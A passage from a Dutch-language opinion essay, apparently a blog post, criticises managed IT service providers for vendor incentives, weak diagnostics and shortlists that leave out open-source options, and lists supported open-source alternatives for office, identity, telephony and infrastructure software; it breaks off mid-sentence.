Niet aan hun eind. Aan het thuiseind.\nDe tunnel is L2TP over IPsec naar een Cisco Meraki MX, en wat er werkelijk mis is, is NAT-traversal. De client onderhandelt nog steeds op UDP 500 in plaats van naar UDP 4500 te gaan, want NAT-T werd nooit geconfigureerd aan het kantooreind. RFC 3947 is er bot over: zodra een NAT gedetecteerd is, \u0026ldquo;MUST set both UDP source and destination ports to 4500\u0026rdquo; — moet de initiator de UDP-bron- en bestemmingspoorten op 4500 zetten. Hij doet het nooit. De tunnel sterft in de NAT. Elke keer.\nHet antwoord zit op hun eigen firewall, uitgeschakeld. Diezelfde MX draait AnyConnect, dat \u0026ldquo;will attempt to connect using both TLS, and DTLS (Datagram TLS) over TCP and UDP 443 respectively\u0026rdquo; — zal proberen te verbinden met zowel TLS als DTLS (Datagram TLS) over respectievelijk TCP en UDP 443. Gewone TLS op een gewone poort. Een NAT begrijpt dat perfect — er is niets te traverseren en niets te configureren — en het zou werken de middag dat iemand het aanzette.\nNiemand neemt een packet capture. Niemand controleert op welke poort de client werkelijk praat. Dat zijn de eerste twee dingen die je doet, en ze zouden het in een minuut beëindigen.\nNu een tweede van dezelfde provider, en er zit nergens een netwerk in. Een labelprinter, en een verzendlabel dat er in het juiste formaat uit moet komen. Dat is het hele verzoek. Het is ook het enige dat een labelprinter doet.\nHet antwoord dat terugkwam was dat het niet mogelijk is.\nHet was een optie in de printerdriver. Een vinkje, in een instellingendialoog, op software die zij beheren, en de hele klus was het aanvinken en een testprint draaien. Niemand hoefde iets te kopen. Niemand hoefde iets te ontwerpen. Ze wilden het niet aanvinken.\nMerk op dat \u0026ldquo;niet mogelijk\u0026rdquo; een antwoord is met nergens een meting erin, en het is het ene antwoord dat een ticket sluit zonder dat iemand iets hoeft te doen. Het wordt ook moeilijker terug te nemen naarmate het langer staat, want nu gaan kijken betekent toegeven dat er iets was om naar te kijken.\nDat is de vorm om op te letten, en het is dezelfde vorm twee keer. De fout is gratis te repareren, de fix zit binnen apparatuur die de provider al bezit en al betaald wordt om te draaien, en wat er in plaats daarvan terugkomt is ofwel een instructie om iets aan het eind van de klant te veranderen ofwel een botte verklaring dat het niet gedaan kan worden. Wanneer het goedkope antwoord wordt weggewuifd zonder een meting, krijg je geen diagnose. Je wordt gemanaged.\nEen engineer die de fout heeft gevonden vertelt je wat de fout is. Iemand die het niet gevonden heeft vertelt je dat het niet gedaan kan worden, of vertelt je wat te kopen.\nWie Je Adviseur Betaalt Begin met het geld, want al het andere volgt het.\nWanneer je MSP een hyperscaler aanbeveelt, zijn ze niet neutraal. Microsofts eigen factureringsdocumentatie beschrijft partner earned credit — een credit toegepast tegen de kosten op je Azure-verbruik, verdiend door de partner die de adminrechten houdt om het te beheren. Je rekening gaat omhoog, zij krijgen een schijfje. Ernaast zitten resellermarges, volumetiers, certificeringskortingen, market development funds en kwartaaldoelen, over elke vendor in de stack, niet alleen die ene.\nNiets hiervan is geheim, en niets ervan is tegen enige regel. Het is gepubliceerd, het is normaal, en het is hoe het kanaal dertig jaar heeft gewerkt.\nTwee mensen betalen je adviseur, en slechts een ervan ben jij Jij Vraag welk product te kopen Je provider Schrijft de shortlist waaruit je kiest De vendor Zet wat een aanbeveling oplevert een vergoeding een optie korting Korting, marge, deal registration, verkoopdoel Niets ervan hoeft aan jou genoemd te worden Een financieel adviseur mag alleen door de klant betaald worden (FCA Handbook, COBS 6.1A). Een IT-adviseur mag door beide betaald worden, en niets verplicht ze te zeggen wie meer betaalt. Twee partijen betalen voor dezelfde aanbeveling. Slechts een ervan zit in de vergadering, en slechts een van de betalingen hoeft genoemd te worden. Hier is het stukje dat je zou moeten storen. Niemand hoeft je er iets over te vertellen — niet het tarief, niet de doelen, niet de credit. De persoon die het product aanbeveelt wordt betaald door het bedrijf dat het product maakt, tegen een tarief dat afhangt van welk product ze je aanpraten en van hoeveel ervan je vervolgens verbruikt, en er is nergens een verplichting om er een woord van in het voorstel te zetten dat je leest.\nEen andere industrie keek precies naar deze regeling en verbood het. Onder de regels van de FCA mag een financieel adviseur \u0026ldquo;only be remunerated for the personal recommendation \u0026hellip; by adviser charges\u0026rdquo; — alleen beloond worden voor de persoonlijke aanbeveling door adviesvergoedingen — en moet \u0026ldquo;not solicit or accept \u0026hellip; any other commissions, remuneration or benefit\u0026rdquo; — geen enkele andere commissie, beloning of voordeel vragen of accepteren. Jij betaalt je adviseur. De productleverancier niet. Die regel bestaat omdat de toezichthouder iets voor de hand liggends uitwerkte. Je kunt advies niet van verkopen onderscheiden wanneer de verkoper wordt betaald door de fabrikant.\nIT had die afrekening nooit. De CMA is door de cloudmarkt gegaan en keek hard naar committed spend, egress en overstappen, maar niemand heeft nog naar de laag in het midden gekeken. Het bedrijf dat tussen jou en de vendor zit, dat zowel een plicht aan jou houdt als een doel van hen.\nOok het waard het ding bij zijn naam te noemen.\nEen prikkel is een betaling van de ene partij om een beslissing te vormen waar een andere partij op steunt. Dat is het mechanisme, hoe het programma ook heet op de website van de vendor. De vendor betaalt, de klant steunt, en de aanbeveling verschuift.\nHet is ook dwingend aan het eind van de MSP, wat de helft is die niemand bekijkt. Mis de tier en je loopt niet simpelweg een bonus mis. Je inkoopprijs gaat omhoog op alles dat je verkoopt voor de volgende twaalf maanden. Dus de druk is niet \u0026ldquo;verkoop dit en krijg een traktatie\u0026rdquo;. Het is \u0026ldquo;verkoop dit of je hele bedrijf wordt duurder\u0026rdquo;. Niemand in die positie kiest vrij, en het was nooit ontworpen om als een keuze te voelen.\nHet Engelse recht kent de vorm hiervan al. De Bribery Act 2010 heeft nergens een ambtenaar bij nodig — sectie 3 dekt \u0026ldquo;any activity connected with a business\u0026rdquo; — elke activiteit verbonden aan een bedrijf — en het bijt waar de persoon die die activiteit uitvoert geacht wordt het te doen \u0026ldquo;in good faith\u0026rdquo; — te goeder trouw —, of \u0026ldquo;impartially\u0026rdquo; — onpartijdig —, of \u0026ldquo;in a position of trust\u0026rdquo; — in een vertrouwenspositie — is. Lees die drie voorwaarden. Lees dan het voorstel op je bureau.\nIk beschuldig niemands accountmanager van een misdrijf. Wat er gaande is, is saaier dan dat en moeilijker te repareren. De regeling zit een haartje aan de goede kant van de lijn, en het enige dat het daar houdt is dat niemand ooit heeft vastgesteld dat een MSP je in de eerste plaats onpartijdigheid verschuldigd is. Financieel advies stelde het vast, en de commissie stopte. Niemand heeft het hier vastgesteld, dus is het niet gestopt.\nNoem een prikkel een milde vorm van corruptie en mensen worden nijdig. Zet de betaling, het doel en de shortlist op dezelfde pagina, en vraag dan hoe je het anders zou noemen.\nDe Kleine Leverancier Wordt Nooit Genoemd De lijst leveranciers die je getoond werd is niet de lijst leveranciers die bestaan. Het is de lijst waar je MSP al een account mee heeft.\nOm op die lijst te komen heeft een vendor een partnerprogramma nodig. Tiers, accreditatie, kortingen, deal registration, een distributeur bereid de lijn te dragen. Dat is een machine. Die draaiende houden kost geld dat helemaal niets te maken heeft met hoe goed het product is. Er zijn heel wat kleine bedrijven in dit land die betere apparatuur en betere software bouwen dan de badge op je voorstel, en ze zullen er nooit op verschijnen, want ze hebben twaalf medewerkers en geen kanaalteam.\nKijk naar wat de machine met de aanbeveling doet.\nDeal registration bindt je MSP aan een vendor voordat iemand met jou over eisen heeft gesproken. Ze loggen de kans, ze krijgen een betere inkoopprijs en bescherming tegen een andere partner die jou hetzelfde offreert, en vanaf dat moment is er een reden om het ontwerp naar die vendor te sturen die niks met jouw bedrijf te maken heeft.\nTiers doen de rest. Goud, platina, hoe het dit jaar ook heet, de status draait op jaarlijks volume, en het zet hun korting op al het andere dat ze het hele jaar verkopen. Jouw project kan het ding zijn dat ze over de streep trekt. Dat wordt je niet verteld.\nDan beslist de distributeur wat er over is. Een MSP koopt via een distie, de distie draagt de lijnen waar het overeenkomsten op houdt, en een vendor die niet op de prijslijst staat kan net zo goed niet bestaan.\nWat dat je kost is niet abstract. Een kleinere leverancier zal je meestal aan de telefoon zetten met de mensen die de software schreven in plaats van een eerstelijnsscript, zal iets veranderen omdat je het vroeg, en is volgend jaar nog steeds aan jou verantwoording verschuldigd omdat je een echt deel van hun omzet bent in plaats van een afrondingsfout. Niets daarvan past in een vergelijkingsmatrix, en niets ervan betaalt iemand een korting.\nVraag dus wat er nodig zou zijn om een van die kleinere bedrijven op de shortlist te krijgen. Het antwoord vertelt je voor wie de shortlist werd opgesteld.\nEn Het Mandaat Komt Uit Eén Land Kijk naar de badges op het voorstel. De hypervisor, de cloud, de netwerkapparatuur, de firewall, het officepakket, de CRM, het backupdoel, de monitoring. Bijna allemaal Amerikaans.\nNiets daarvan is een oordeel over kwaliteit. Het is wat er gebeurt wanneer de route naar de markt een kanaalprogramma is, want de bedrijven groot genoeg om er een op wereldschaal te draaien zitten in één land. Dus de doelen die je MSP draagt, de kortingen die je shortlist vormen en de tier die hun marge zet zijn allemaal geschreven in de Verenigde Staten.\nWat het de moeite waard maakt te weten hoe dat land momenteel de regels behandelt over zaken winnen in het buitenland.\nOp 10 februari 2025 tekende de president een executive order getiteld \u0026ldquo;Pausing Foreign Corrupt Practices Act Enforcement to Further American Economic and National Security\u0026rdquo;. Het instrueerde de Attorney General, voor 180 dagen, om \u0026ldquo;cease initiation of any new FCPA investigations or enforcement actions\u0026rdquo; — de aanvang van nieuwe FCPA-onderzoeken of handhavingsacties te staken —, op de aangevoerde redenering dat handhaving tegen Amerikaanse bedrijven \u0026ldquo;for routine business practices in other nations\u0026rdquo; — voor routinematige zakelijke praktijken in andere landen — de Amerikaanse concurrentiekracht schaadt.\nDe FCPA vervolgt het omkopen van buitenlandse ambtenaren. Dat is de praktijk die beschreven wordt.\nWat volgde staat in het dossier. Nieuwe richtlijnen van het Department of Justice op 9 juni 2025 versmalden handhaving tot zaken die kartels, directe schade aan Amerikaanse bedrijven of nationale veiligheid raken. Over 2025 bracht de Securities and Exchange Commission helemaal geen civiele FCPA-acties en ontbond zijn FCPA-eenheid, terwijl het Department of Justice ruwweg de helft van zijn actieve onderzoeken sloot. Het kwam ook niet opdagen bij de vergadering van de OESO Working Group on Bribery in maart 2025.\nZelfde statuut, andere richting. Het nam $772 miljoen van een Frans ingenieursbedrijf in 2014, en het is de reden dat de Franse staat een rapport bestelde over of Amerikaanse extraterritoriale wet als commercieel wapen werkt. Ik ging daardoor in hoe ver de wet van één land reikt. Dus de wet reikt over grenzen voor buitenlandse bedrijven en wordt stilgezet voor binnenlandse, door de overheid van het land waar je hele productlijst vandaan komt.\nVerwacht ook niet dat het VK het gat vult. De wet hier is niet het zwakke deel — de Bribery Act 2010 gaat op plekken verder dan het Amerikaanse statuut, en sectie 7 maakt het een strafbaar feit voor een commerciële organisatie om omkoping niet te voorkomen door wie ook namens haar handelt. Streng, breed, en al vijftien jaar op de boeken.\nHet zwakke deel is dat handhaving op deze schaal alleen ooit als gezamenlijke operatie werkt. Airbus is de grootste omkopingsschikking waar dit land deel van is geweest, en Airbus\u0026rsquo; eigen aankondiging zet de vorm ervan uiteen: EUR 3.598 miljoen aan boetes op 31 januari 2020, met EUR 2.083 miljoen naar het Franse Parquet National Financier, EUR 984 miljoen naar het Serious Fraud Office, EUR 526 miljoen naar het Department of Justice en EUR 9 miljoen naar het State Department, met het SFO en het PNF die het als een gezamenlijk onderzoeksteam draaiden. Het geld kruist verscheidene landen en zo ook het bewijs, en geen enkele instantie kan de hele boel op eigen houtje afdwingen. Het vereist dat iedereen komt opdagen.\nMerk de datum daarvan op. Januari 2020 zit binnen de eerste Trump-regering, en het Department of Justice van die tijd was tevreden genoeg om zijn aandeel van EUR 526 miljoen ervan te nemen. De pauze kwam vijf jaar later, van dezelfde president in zijn tweede termijn. Dit is geen verschil tussen regeringen. Het is een beslissing genomen in 2025.\nEen van hen is opgehouden op te dagen, en het loopt dieper dan een lege stoel. Een aanklager die geen zaken opent produceert niets om te delen. Geen dagvaardingen, geen documentproducties, geen meewerkende verdachten, geen getuigen onder druk gezet — het bewijs dat Airbus mogelijk maakte bestond omdat iemand eropuit ging en het haalde. Sluit de helft van een rol en breng geen nieuwe acties, en er zit niets in de pot voor wie ook om uit te putten. Dit is geen land dat weigert dingen te overhandigen. Het is een land dat niets meer heeft om te overhandigen.\nHet sluit ook de andere deur. Airbus\u0026rsquo; eigen aankondiging schrijft de uitkomst toe aan \u0026ldquo;reporting, cooperation and new compliance standards\u0026rdquo; bij het bedrijf. Bedrijven melden zich vanwege wat er met hen gebeurt als ze het niet doen. Verwijder wat er met hen gebeurt, en de zelfmeldingen die de meeste van deze zaken starten stoppen met arriveren. In Londen net zozeer als in Washington.\nDe Bribery Act wordt er niet zwakker van wanneer dat gebeurt. Het verliest alleen de aanvoer van bewijs die het bruikbaar maakte op precies de zaken waarvoor het geschreven werd.\nAchttien maanden daarvan, en het heeft geen enkele shortlist in deze industrie verschoven. Niemand heeft het in een risicoregister, niemand vraagt het op een inkoopformulier, en niemand die je een abonnement van vijf jaar verkoopt heeft het genoemd.\nHet Trainingsbudget Ging Als Eerste Er is een tweede reden dat het product blijft winnen, en het is minder cynisch dan de eerste. Veel van de mensen die aan je verkopen zouden het andere ding niet kunnen.\nInvestering van werkgevers in training in dit land daalt al twintig jaar. Het lezen van de Employer Skills Survey 2024 van het Learning and Work Institute zet het op 36% minder per werknemer in reële termen dan in 2005 — GBP 1.700 tegen GBP 2.634. Alleen al sinds de enquête van 2022 is het nog eens 13% gedaald. De apprenticeship levy arriveerde in 2017 om precies dit om te keren, en de uitgave per werknemer inclusief de levy is met 23% gedaald sinds.\nKijk dan naar welke sectoren het hardst sneden tussen 2022 en 2024. Openbaar bestuur op 50%, financiële diensten op 47%, en informatie en communicatie op 30%. Die laatste is de onze. Bijna een derde weg in twee jaar, uit de industrie die het snelst verandert.\nOndertussen groeide het ding dat verdedigd wordt. Ik telde de gepubliceerde kwetsbaarheden aan weerszijden van een decennium recht uit de National Vulnerability Database: 6.595 CVE\u0026rsquo;s gepubliceerd in 2015, en 49.972 in 2025. Zeven-en-een-half keer zoveel in tien jaar, tegen een trainingsbudget dat met een derde daalde. Die twee lijnen gaan in tegengestelde richtingen en dat doen ze al jaren.\nDe controles die het verschil zouden blootleggen zijn er ook niet. De eigen Cyber Security Breaches Survey 2025/2026 van de overheid zet twee-factor-authenticatie op 47% van de bedrijven — dezelfde controle die de five-eyes-diensten in 2022 voor MSP-accounts noemden, en dezelfde waarover de ICO Advanced beboette. Dezelfde enquête heeft formeel cybersecuritybeleid gedaald van 59% naar 52% in een jaar, en bedrijfscontinuïteitsplannen die cybersecurity dekken gedaald van 53% naar 44%. Niet stabiel blijvend. Dalend.\nEn zet dan een cloud-tenancy onder de hele boel. Een klein bedrijf beheert zijn eigen niet. De MSP houdt de global admin, bouwt het identiteitsmodel, zet de conditional access, beslist welke opslag publiek is en welke niet, en bezit de console. Dat is precies waarvoor het ingehuurd werd. Dus wanneer een tenancy verkeerd geconfigureerd eindigt, waren de handen erop die van de contractant. Niet een klant die het verkeerde vinkje aanklikt.\nDe blast radius veranderde ook. Een server verkeerd geconfigureerd in 2005 reikte ongeveer zo ver als de draad waar hij op zat. Een tenancy verkeerd geconfigureerd vandaag staat op het internet de seconde dat het opgeslagen wordt, het is dezelfde tenancy voor elk systeem dat dat bedrijf draait, en de credential die het beheert zit bij iemand die ze nooit ontmoet hebben, bij een bedrijf dat ze niet mogen auditen.\nDe veiligheidsdiensten van vijf landen schreven hierover een advisory in 2022, en de allereerste actie op hun lijst betreft de accounts die een provider gebruikt om in je systemen te komen. Ze zetten het eerst omdat dat de ingang is.\nDan is er wat deze industrie training noemt. Een vendorcertificering is producttraining. Het leert je waar de knoppen zitten in de console van één bedrijf en wat dat bedrijf heeft besloten zijn features te noemen, het is geschreven en geprijsd door het bedrijf wiens producten het dekt, en er genoeg houden is een voorwaarde van de partnertier die de marge zet. Het is een verkoopkanaal met een academische toga.\nEen console kennen is niet weten hoe het ding werkt. Een engineer met vijf certificeringen heeft misschien nooit een RFC gelezen, nooit een packet capture genomen, en nooit één keer uitgewerkt waarom iets faalde vanuit eerste principes. Zet die persoon voor een tunnel die niet omhoog wil komen en het eerlijke antwoord is niet voor ze beschikbaar. De IPv6 op het thuisnetwerk van de klant afschuiven wel.\nDus de twee helften ontmoeten elkaar. Ze worden betaald om een product te verkopen, en steeds meer is het product het enige antwoord dat ze hebben. Een klant die voor expertise betaalt eindigt met geen van beide.\nNiemand Schreef Op Wat Je Nodig Had Vraag om je eisen te zien. Niet het voorstel, niet de offerte, niet het architectuurdiagram met je logo erop. De eisen.\nEen fatsoenlijke opname is saai en het is niet kort. Wat moet de dienst doen, en voor wie. Hoeveel mensen, vanwaar, op wat. Wat is het drukste uur en wat is de groei over drie jaar. Hoe lang kan het uit liggen voordat het echt geld kost, en hoeveel data kun je je veroorloven te verliezen. Wat mag nooit het land verlaten, en onder wiens wet. Wat moet een brand in één gebouw overleven. Waar ben je contractueel voor aansprakelijk aan je eigen klanten. Wat is het budget, kapitaal en exploitatie, uitgesplitst. Wat bezit je al dat nog leven in zich heeft. Wie houdt het draaiende daarna, en wat weten ze al te draaien.\nDat is een ochtend werk met de juiste mensen in de kamer — en het zou moeten eindigen in een document dat je ondertekent voordat iemand een enkele doos tekent.\nAls niemand je het meeste daarvan vroeg, kreeg je geen ontwerp. Je kreeg het ding dat ze al verkopen, met je bedrijfsnaam op de omslag.\nLet ook op het teken in de andere richting. Als de dimensioneringsoefening in de eerste vergadering gebeurde, voordat iemand keek naar wat je belasting werkelijk is, dan kwamen de getallen uit een sjabloon in plaats van uit je estate, en echte dimensionering heeft data nodig. Iemand die kijkt naar wat je apparatuur nu werkelijk doet, lang genoeg om een maandafsluiting en een kwartaalafsluiting te zien.\nEén Optie Is Geen Keuze Een ontwerp is een set keuzes met de redenering eraan gehecht. Wat betekent opties, en kosten op allemaal, niet alleen degene die ze willen dat je neemt.\nJe zou het niets-doen moeten krijgen, geprijsd, inclusief wat het je kost wanneer het breekt. Je zou het goedkoopste ding moeten krijgen dat aan de eisen voldoet. Je zou de aanbeveling moeten krijgen, en je zou degene moeten krijgen die overgedimensioneerd is voor jou, zodat je kunt zien waar de lijn ligt. Elk met wat het kost om te kopen, wat het kost om vijf jaar te draaien, wat het niet doet — en wat je vervolgens zou moeten doen als je het ontgroeide.\nEn cruciaal, je zou de lijst moeten krijgen van wat afgevallen is en waarom. Dat is het deel dat toont dat iemand werkelijk nadacht.\nAls je precies één antwoord ontving, en dat antwoord toevallig de vendor is waar ze in gecertificeerd zijn en het licentiemodel dat maandelijks betaalt, kreeg je geen ontwerp. Je kreeg een offerte in de kleren van een ontwerp. Meer niet.\nWat de shortlist eruit filtert voordat je het ooit ziet Vier antwoorden op dezelfde eis Open source, op een supportcontract Marge is de eigen arbeid van je provider Een kleinere Britse leverancier Geen partnerprogramma om op te zitten Wat je al bezit, geconfigureerd Niets te factureren bij verlenging De vendor op het partnerprogramma Korting, deal registration, doel Betaalt het? Zit het op het programma? Wat je bureau bereikt Een optie, geoffreerd Geen vergelijking, geen gecalculeerd alternatief De andere drie werden nooit geprijsd, dus je hebt nooit geleerd wat ze kostten en hun afwezigheid lijkt alsof er niets te zeggen was Het filter draait voordat je iets ziet. Drie antwoorden op dezelfde eis worden nooit geprijsd, dus hun afwezigheid leest alsof er niets was om te vergelijken. Er is een simpele vraag die dit boven water haalt, en ik zou het in de kamer stellen. Wat overwoog je nog meer, en wat kostte het? Iemand die het werk deed heeft de getallen paraat en geniet er nogal van gevraagd te worden. Iemand die het niet deed zal je vertellen dat de alternatieven niet ondersteund worden, niet enterprise-grade zijn, of niet iets waar ze hun naam aan zouden verbinden. Geen van die is een getal.\nOpen Source Haalt De Lijst Nooit Het is niet dat ze het haten. Er is geen marge op, geen korting ertegen, geen certificering om te verkopen en geen kwartaaldoel dat het beweegt.\nHet bezwaar is altijd hetzelfde, en het is de ene bewering in deze post die botweg onwaar is — \u0026ldquo;het wordt niet ondersteund\u0026rdquo;. Het wordt allemaal ondersteund, commercieel, met een contract en een SLA en iemand om te bellen — Proxmox verkopen abonnementen per socket, en Red Hat, SUSE en Canonical verkopen support voor de stack. Je kiest wie het ondersteunt in plaats van te kiezen of het überhaupt ondersteund wordt. Waar je voor stopt te betalen is het recht om software te gebruiken die je al hebt.\nDan is er de apparatuur die al op de vloer staat. Het wordt geheel gemist. Bij mijn laatste werkgever bouwde ik een private cloud uit afgedankte HPC-nodes — Proxmox, Ceph en een volledige keten van Ansible erbovenop — en eindigde met 7 servers, 480 cores, 15 TiB RAM en 1,8 PiB opslag, zonder budget en met drie mensen. Een MSP die diezelfde eis offreerde zou nieuwe hardware en een abonnement gecalculeerd hebben — er zit niets in voor hen in apparatuur die je al gekocht en betaald hebt.\nDe andere helft hiervan is de apparatuur die al op je vloer staat, en het is de helft die helemaal nooit gecalculeerd wordt. Een server stopt niet met werken op de dag dat zijn supportcontract afloopt. \u0026ldquo;End of support\u0026rdquo; is een datum die de vendor koos, geen meting die iemand van de hardware nam, en een doos met vijf goede jaren erin is meer waard voor jou dan voor wie ook zijn vervanging verkoopt. Open source is wat je laat het blijven gebruiken, want de licentie kan het niet schelen hoe oud de CPU is of dat de badge op de voorkant nog in garantie is.\nDat is het stukje dat niemand betaalt. Er is geen korting op hardware die je al bezit, geen tier-credit voor een machine die blijft waar het staat, en geen verlenging op een licentie die niemand hoefde te kopen. Als zodanig wordt het niet voorgesteld, en de zin waar in plaats daarvan naar gegrepen wordt is \u0026ldquo;end of life\u0026rdquo;, wat als engineering klinkt en een verkoopdatum is.\nVraag om de open source optie fatsoenlijk gecalculeerd te krijgen, support inbegrepen, naast de andere — en vraag om de versie die hergebruikt wat je hebt, geprijsd tegen de versie die dat niet doet. Niet om uit de commerciële te worden gepraat. Om het gat te zien, zodat de beslissing de jouwe is.\nHoe Het Alternatief Er Werkelijk Uitziet Er is een ondersteund open source antwoord op bijna alles op een voorstel, en het is de moeite waard te beginnen met het deel dat je het meest kost, want het zijn nooit de servers.\nDe per-seat-software. Dit is waar het terugkerende geld zit, en waar een alternatief nooit genoemd wordt. Officepakket: LibreOffice, ONLYOFFICE, of Collabora Online, dat ondersteunde deployments verkoopt en je de browser-gebaseerde bewerking geeft waarvan mensen denken dat het maar van één plek komt. Mail, agenda\u0026rsquo;s en gedeelde contacten: grommunio spreekt MAPI, dus Outlook verbindt ermee zoals het met Exchange zou; SOGo en mailcow dekken hetzelfde terrein anders. Bestanden, delen en de stukjes waar mensen een clouddrive werkelijk voor gebruiken: Nextcloud, met een enterprise-contract erachter. Chat en vergaderingen, wat de Teams-helft is: Mattermost en Rocket.Chat zijn de dichtstbijzijnde gelijke, beide zelf-hostbaar met support te kopen, en Zulip is Apache-gelicentieerd en threadt fatsoenlijk. Matrix met Element, Nextcloud Talk en Jitsi dekken de rest. En de SharePoint-helft — intranet, documentbibliotheken, teamsites — is XWiki, BookStack, OpenProject, Seafile en Nextcloud samen.\nDe bedrijfsapplicaties. ERP: Odoo Community, ERPNext, Dolibarr. CRM: SuiteCRM, waar het bedrijf erachter support voor verkoopt, of EspoCRM. Boekhouding: GnuCash, of het grootboek ingebouwd in Dolibarr en ERPNext. Documentbeheer: Paperless-ngx. Rapportage: Metabase. Servicedesk en asset tracking, waar je MSP je als product voor rekent: GLPI en Zammad.\nIdentiteit en secrets, waar al het andere aan hangt. Keycloak, FreeIPA, of Samba als domeincontroller. Voor wachtwoorden kan Bitwarden zelf-gehost worden, Vaultwarden is een lichtgewicht AGPL-server die met dezelfde clients praat, en Passbolt en KeePassXC dekken dezelfde klus anders. Dit is een per-gebruiker-maandregel op de meeste voorstellen.\nApparaatbeheer, wat de Intune-regel op je rekening is. Fleet doet inventaris, beleid en enrolment over de platforms die een estate werkelijk bevat, gebouwd op osquery. MicroMDM handelt Apple-enrolment af, Headwind handelt Android af, en Ansible, Puppet of Salt doen de configuratie onder een van beide. Voor de remote-access-helft — het ding waar een latere sectie van deze post geheel over gaat — is MeshCentral Apache-gelicentieerd en RustDesk AGPL, en beide draaien op een server die je bezit. Wat betekent dat het antwoord op \u0026ldquo;welk remote tool zit op mijn machines, en wie kan in de console inloggen\u0026rdquo; er een kan zijn die je zelf host en patcht, in plaats van er een waar je achteraf over hoort.\nEn het updaten zelf is niet langer de zwarte kunst waarvoor het verkocht wordt. Zelfs op het Fisher-Price OS (Windows) lopen applicatie-updates nu via winget, dat MIT-gelicentieerd is, tegen een community-manifest-repository onder dezelfde licentie; Chocolatey en Scoop doen dezelfde klus al langer, en elke Unix heeft het sinds de jaren negentig gehad. Dus wanneer patch management op een voorstel verschijnt als een premium managed regel, kijk naar wat er werkelijk verkocht wordt. Het mechanisme is gratis en geleverd door de platformvendor, en het opzetten is een middag. Daarna is het een geplande taak. Een cron-entry, of hoe de console het ook noemt, die draait op een machine die er al was. Je betaalt een maandvergoeding voor een klus die zichzelf draait.\nHet antwoord daarop wordt geacht te zijn dat je betaalt voor iemand om het resultaat te bekijken en te handelen wanneer het faalt, en dat zou het geld waard zijn. Kijk dus naar het bewijs voor het bekijken. Bij Capita werd het alarm in tien minuten geslagen en het beste deel van drie dagen later gehandeld, tegen een doel van één uur, door een team dat de toezichthouder onderbezet vond. Buiten op het internet zijn er firewalls die nog kwetsbaarheden dragen die jaren nadat een fix uitkwam de exploited catalogue in gingen. Het bekijken is het deel dat de factuur zou rechtvaardigen, en het is het deel met het minste bewijs dat het gebeurt.\nHet telefoonsysteem, wat een van de oudste per-extensie-maandregels is die er is. Asterisk doet dit al vijfentwintig jaar, FreePBX zet er een webinterface bovenop, FreeSWITCH is de andere engine, en Kamailio en OpenSIPS handelen SIP-routing op carrierschaal af. Als je het verpakt wilt in plaats van geassembleerd, leveren Wazo, FusionPBX en Issabel het allemaal gebouwd.\nHet is ook de moeite waard te onthouden wat er met de proprietaire gebeurde die de meeste providers voorstellen. In maart 2023 publiceerde CISA een alert die stelde dat \u0026ldquo;3CXDesktopApp — a voice and video conferencing app — was trojanized, potentially leading to multi-staged attacks against users employing the vulnerable app\u0026rdquo; — 3CXDesktopApp, een spraak- en video-conferencing-app, getrojaniseerd was, mogelijk leidend tot meertraps-aanvallen tegen gebruikers van de kwetsbare app. Niemand hoefde een kwetsbaarheid te vinden en te exploiteren. Het arriveerde als de eigen ondertekende applicatie van de vendor via het eigen updatekanaal van de vendor, op elk bureau waar een partner het naar had uitgerold.\nAdobe, wat een per-seat-abonnement is zoals al het andere. De meeste bedrijven betalen helemaal niet voor een creatieve suite. Ze betalen voor Acrobat en voor handtekeningen. Stirling PDF is een zelf-gehoste toolkit die het samenvoegen, splitsen, redactie, OCR en formulier-invullen doet waar Acrobat Pro voor gekocht wordt, en Okular of LibreOffice Draw dekken de rest. Voor ondertekenen zijn Documenso en DocuSeal beide AGPL en beide zelf-hostbaar — en een per-envelope-heffing voor het ondertekenen van een document is ongeveer zo\u0026rsquo;n schoon voorbeeld als deze post heeft van iets meten dat je eigen server voor niets zou doen. Waar er echt een designteam is: GIMP en Krita voor beelden, Inkscape voor vector, Scribus voor opmaak, darktable en RawTherapee voor fotografie, Kdenlive voor video, Blender voor 3D en compositing, Audacity en Ardour voor audio.\nVideo, wat een eigen paragraaf waard is. Camera\u0026rsquo;s worden verkocht als een managed product met een licentie per kanaal en een recorder waar je niet in mag. Frigate is MIT-gelicentieerd en doet objectdetectie lokaal op hardware die je bezit; ZoneMinder is al twintig jaar GPL. Voor conferencing, Jitsi en BigBlueButton. En onthoud welk product het was waar Cisco $8,6 miljoen en nog eens $6 miljoen voor betaalde om te schikken, een paar secties verderop. Videobewakingssoftware, verkocht aan overheidsinstanties. De premium camerastack komt niet met veiligheid eraan gehecht.\nOpslag en filesystemen, en merk op dat niemand je hier ooit een keuze biedt. OpenZFS voor checksummed opslag met snapshots en send/receive, Btrfs, XFS, CephFS. Het filesystem onder je data is een engineeringbeslissing met echte gevolgen voor hoeveel ervan je terugkrijgt na een slechte dag, en het arriveert meestal als wat de appliance ook geleverd werd.\nDe infrastructuur, als laatste, want het is het goedkoopste deel van de rekening. Hypervisor en cluster: Proxmox VE. Opslag: Ceph, dat graag draait op de schijven die je al bezit in plaats van een nieuwe array. Firewall en routing: nftables, OPNsense. VPN: WireGuard of strongSwan. Voor de mesh-overlay die iedereen nu verkoopt, is het de moeite waard het beeld goed te krijgen. Tailscales clients zijn open source en zijn eigen gehoste coördinatieserver niet — het bedrijf stelt dat het \u0026ldquo;remains proprietary as part of our managed service\u0026rdquo; — proprietair blijft als deel van onze managed service. Maar er is een open coördinatieserver, en het is een serieuze: Headscale is BSD-gelicentieerd, \u0026ldquo;an open source, self-hosted implementation of the Tailscale control server\u0026rdquo; — een open source, zelf-gehoste implementatie van de Tailscale-controlserver —, en Tailscale heeft zijn hoofdonderhouder in dienst terwijl het zegt dat het \u0026ldquo;does not set Headscale\u0026rsquo;s product direction\u0026rdquo; — de productrichting van Headscale niet bepaalt. Dus het hele ding kan op je eigen apparatuur gedraaid worden. NetBird en Nebula zijn de andere routes. Load balancing: HAProxy en keepalived. Monitoring: Prometheus, Grafana, Zabbix. Backup: Proxmox Backup Server, Bareos, restic. Config management: Ansible. En voor het integratiewerk dat geoffreerd wordt als maatwerk-ontwikkeling of als een per-run cloud-automatiseringsabonnement, is Node-RED Apache-gelicentieerd, draait het op een doos die je bezit, en rekent het je niet per uitvoering.\nDrie plekken waar ik niet zal doen alsof de wissel schoon is. Ten eerste, Teams en SharePoint. De bestemming is niet het probleem, wat je ook verteld wordt — de producten hierboven zijn volwassen en bedrijven draaien erop. De migratie is het probleem: jaren opgebouwde sites, permission-overerving die niemand ooit documenteerde, Power Automate-flows die iemand bouwde en toen verliet, en co-authoring-gedrag dat personeel verwacht zonder het te kunnen benoemen. Dat is echt werk, en het zou als echt werk gecalculeerd moeten worden in 